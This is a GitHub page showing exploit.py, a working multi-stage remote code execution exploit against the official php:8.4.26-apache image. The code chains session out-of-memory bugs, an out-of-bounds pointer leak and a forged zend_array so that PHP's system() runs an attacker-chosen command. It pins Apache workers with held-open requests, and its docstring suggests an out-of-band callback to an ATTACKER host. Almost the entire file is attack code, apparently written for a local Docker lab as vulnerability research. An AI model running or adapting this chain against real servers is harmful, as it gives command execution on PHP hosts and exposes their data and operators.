Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
executable file
·294 lines (266 loc) · 11.4 KB
/
Copy pathexploit.py
File metadata and controls
executable file
·294 lines (266 loc) · 11.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#!/usr/bin/env python3
"""One-shot pure-HTTP exploit for official php:8.4.26-apache, 128M,
display_errors=Off (no gdb, no target-side files).
A1 : END-cleanup send_cookie OOM (mk_a1.py, chunked)
B1 : stale-id OOB read -> chunk base + libphp base (mk_leak_b.py, chunked)
A2 : cheap-OOM -> dangling PS(http_session_vars)
B2 : fake reference + fake zend_array -> pDestructor = zif_system
The proof command (default `id>/out/p1`) runs inside the target. For a
remote target use an out-of-band command, e.g.
--cmd 'php -r "file_get_contents(\\"http://ATTACKER/ok\\");"'
usage:
python3 exploit.py --port 18110 --restart p2s-pure-18110
`pure/pwn_pure.py` is kept as a compatibility alias for this entry point.
For the stock official prefork config (MaxRequestWorkers=150), the exploit
holds `--workers - 1` partial requests open so the four chain requests are
served by the same child. Use `--workers 1` for the old single-worker lab.
"""
from __future__ import annotations
import argparse
import os
import socket
import struct
import subprocess
import sys
import tempfile
import time
import urllib.parse
from collections import Counter
HERE = os.path.dirname(os.path.abspath(__file__))
R = HERE
PURE = os.path.join(HERE, "pure")
Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
# pointers-to-main-chunk fingerprint in the LEAK_SPEC window (stable count)
MAIN_BUCKET_COUNT = 87
PROFILES = {
"x86_64": {
"dtor_offset": 0x65EB60,
"zif_offset": 0x465370,
"ptr_max": 0x7FFFFFFFFFFF,
"delta_min": 0x1A00000,
"delta_max": 0x1F00000,
},
"aarch64": {
"dtor_offset": 0x63812B,
"zif_offset": 0x42CD70,
"ptr_max": 0xFFFFFFFFFFFF,
"delta_min": 0x1F00000,
"delta_max": 0x2300000,
},
}
def send_chunked(port: int, path: str, body_file: str, timeout: float,
save: str = "") -> bytes:
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(port), "--body-file", body_file,
"--path", path, "--timeout", str(timeout)]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
def send_plain(port: int, path: str, body: bytes, timeout: float = 120.0) -> bytes:
req = ("POST %s HTTP/1.1\r\nHost: 127.0.0.1:%d\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nConnection: close\r\n\r\n" %
(path, port, "C" * 10, len(body))).encode()
out = bytearray()
s = socket.create_connection(("127.0.0.1", port), timeout=timeout)
s.settimeout(timeout)
try:
s.sendall(req + body)
while len(out) < 4 << 20:
chunk = s.recv(65536)
if not chunk:
break
out.extend(chunk)
except OSError:
pass
s.close()
return bytes(out)
def parse_leak(resp: bytes, profile=None):
i = resp.find(b"Set-Cookie: PHPSESSID=")
if i < 0:
raise RuntimeError("no Set-Cookie in leak response (%d bytes)" % len(resp))
val = resp[i + len("Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
counts = Counter()
ptr_max = profile["ptr_max"] if profile is not None else 0xFFFFFFFFFFFF
for off in range(0, len(dec) - 8, 8):
q = struct.unpack_from("<Q", dec, off)[0]
if 0x7F0000000000 <= q <= ptr_max:
counts[q] += 1
if not counts:
raise RuntimeError("no heap pointers in leak window")
zdtor, n = counts.most_common(1)[0]
if profile is None:
arch = "aarch64" if zdtor > 0x7FFFFFFFFFFF else "x86_64"
profile = PROFILES[arch]
else:
arch = next((name for name, prof in PROFILES.items() if prof is profile),
"unknown")
if profile["ptr_max"] != 0xFFFFFFFFFFFF:
counts = Counter({q: c for q, c in counts.items()
if q <= profile["ptr_max"]})
lib = zdtor - profile["dtor_offset"]
buckets = Counter()
bucket_first = {}
for q, c in counts.items():
b = q & ~0x1FFFFF
buckets[b] += c
bucket_first.setdefault(b, q)
# drop the libphp bucket and the dominant id-chunk bucket
lib_bucket = zdtor & ~0x1FFFFF
id_bucket = buckets.most_common(1)[0][0]
cands = [(b, c) for b, c in buckets.most_common()
if b not in (lib_bucket, id_bucket)]
# prefer the bucket whose pointer count matches the stable fingerprint
cands.sort(key=lambda bc: (abs(bc[1] - MAIN_BUCKET_COUNT), bc[1]))
return {
"decoded": len(dec),
"arch": arch,
"profile": profile,
"zdtor": zdtor,
"lib": lib,
"buckets": buckets,
"main_candidates": [b for b, c in cands[:3]],
"cand_counts": {b: c for b, c in cands[:3]},
}
def hold_workers(port: int, workers: int):
"""Occupy all but one prefork child with incomplete POST bodies.
The official image ships MaxRequestWorkers=150. Holding 149 children
makes every later request land on the same remaining child, which is
what the cross-request dangling pointers require.
"""
holders = []
if workers <= 1:
return holders
n = workers - 1
for i in range(n):
try:
s = socket.create_connection(("127.0.0.1", port), timeout=5)
s.sendall(b"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: 1048576\r\n\r\nx")
holders.append(s)
except OSError as exc:
print(" holder %d/%d failed: %r" % (i + 1, n, exc))
break
time.sleep(0.01)
time.sleep(0.8)
print(" pinned %d/%d workers (%d holders)" % (
len(holders) + 1, workers, len(holders)))
return holders
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=18110)
ap.add_argument("--arch", choices=("auto",) + tuple(PROFILES),
default="auto",
help="target architecture (default: auto from the leak)")
ap.add_argument("--restart", default="",
help="docker container name to restart before the chain")
ap.add_argument("--docker", default="sudo docker")
ap.add_argument("--cmd", default="id>/out/p1")
ap.add_argument("--proof", default=os.path.join(R, "out", "p1"))
ap.add_argument("--outdir", default=os.path.join(R, "out"))
ap.add_argument("--timeout", type=float, default=600.0)
ap.add_argument("--retries", type=int, default=3)
ap.add_argument("--workers", type=int, default=150,
help="prefork MaxRequestWorkers (1 = no pinning)")
args = ap.parse_args()
profile = None if args.arch == "auto" else PROFILES[args.arch]
os.makedirs(args.outdir, exist_ok=True)
if os.path.exists(args.proof):
try:
os.remove(args.proof)
except PermissionError:
subprocess.run(["sudo", "rm", "-f", args.proof], check=False)
if args.restart:
subprocess.run(args.docker.split() + ["restart", args.restart],
check=True, stdout=subprocess.DEVNULL)
time.sleep(1.2)
holders = hold_workers(args.port, args.workers)
try:
return run_chain(args, holders, profile)
finally:
for s in holders:
try:
s.close()
except OSError:
pass
def run_chain(args, holders, profile) -> int:
for attempt in range(1, args.retries + 1):
tmp = tempfile.mkdtemp(prefix="p2s-pure-")
try:
s = socket.create_connection(("127.0.0.1", args.port), timeout=5)
s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n")
s.recv(1024)
s.close()
except OSError:
pass
print("[try %d] A1: END-cleanup send_cookie OOM" % attempt)
a1 = os.path.join(tmp, "a.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
"--out", a1, "--big", "78"], check=True,
stdout=subprocess.DEVNULL)
send_chunked(args.port, "/index.php" + Q, a1, 180)
time.sleep(0.2)
print("[try %d] B1: stale-id OOB read (chunk base + libphp)" % attempt)
b1 = os.path.join(tmp, "b1.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
"--out", b1, "--spec", LEAK_SPEC,
"--fake-len", "0xC8000", "--tag"], check=True,
stdout=subprocess.DEVNULL)
leak_file = os.path.join(tmp, "leak.resp")
try:
resp = send_chunked(args.port, "/index.php", b1, args.timeout, leak_file)
info = parse_leak(resp, profile)
except Exception as exc:
print(" leak failed: %r" % (exc,))
continue
print(" arch=%s decoded=%d zval_ptr_dtor=%#x -> libphp=%#x" % (
info["arch"], info["decoded"], info["zdtor"], info["lib"]))
print(" chunk buckets: %s" % [(hex(b), c) for b, c in
info["buckets"].most_common(6)])
if not info["main_candidates"]:
print(" no main-chunk candidate")
continue
main = info["main_candidates"][0]
delta = info["lib"] - main
prof = info["profile"]
if not (prof["delta_min"] <= delta <= prof["delta_max"]):
print(" implausible libphp-main delta %#x; re-leak" % delta)
continue
zif = info["lib"] + prof["zif_offset"]
for cand in info["main_candidates"]:
S = cand + 0xF8398
print("[try %d] A2 + B2: main=%#x S=%#x zif_system=%#x" % (
attempt, cand, S, zif))
subprocess.run([sys.executable, os.path.join(PURE, "cheap_oom_a.py"),
"--port", str(args.port), "--parts", "880",
"--depth", "64", "--fillers", "115"], check=True,
stdout=subprocess.DEVNULL)
time.sleep(0.2)
ht = os.path.join(tmp, "ht.bin")
subprocess.run([sys.executable, os.path.join(PURE, "mk_ht.py"),
hex(S), hex(zif), args.cmd, ht], check=True,
stdout=subprocess.DEVNULL)
subprocess.run([sys.executable, os.path.join(PURE, "fake_ref_b.py"),
"--port", str(args.port), "--vl", "384",
"--n1", "500", "--n2", "495", "--rc", "1",
"--ht-addr", hex(S), "--ht-file", ht], check=True,
stdout=subprocess.DEVNULL)
time.sleep(0.6)
if os.path.exists(args.proof):
try:
proof = open(args.proof).read().strip()
except PermissionError:
proof = subprocess.run(["sudo", "cat", args.proof],
capture_output=True, text=True).stdout.strip()
print("[4/4] RCE OK; proof %s:" % args.proof)
print(proof)
return 0
print(" candidate failed (no proof)")
print("[4/4] all attempts failed")
return 1
if __name__ == "__main__":
raise SystemExit(main())